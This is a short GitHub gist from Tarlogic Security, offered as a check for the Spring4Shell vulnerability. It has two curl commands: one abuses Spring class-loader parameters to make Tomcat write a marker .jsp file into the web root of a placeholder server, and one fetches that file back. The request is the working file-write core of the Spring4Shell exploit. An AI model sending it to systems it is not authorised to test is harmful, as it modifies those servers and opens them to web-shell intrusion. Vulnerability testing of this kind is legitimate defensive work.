Skip to content

Instantly share code, notes, and snippets.

@TarlogicSecurity
Created March 31, 2022 12:32
Show Gist options
  • Save TarlogicSecurity/9de513cbd777af7ec44852d62a469175 to your computer and use it in GitHub Desktop.
Save TarlogicSecurity/9de513cbd777af7ec44852d62a469175 to your computer and use it in GitHub Desktop.
Testing for Spring4Shell
curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20Tarlogic 2022%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tarlogicCheckSpring4Shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://YOURSERVER/
curl http://YOURSERVER/tarlogicCheckSpring4Shell.jsp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment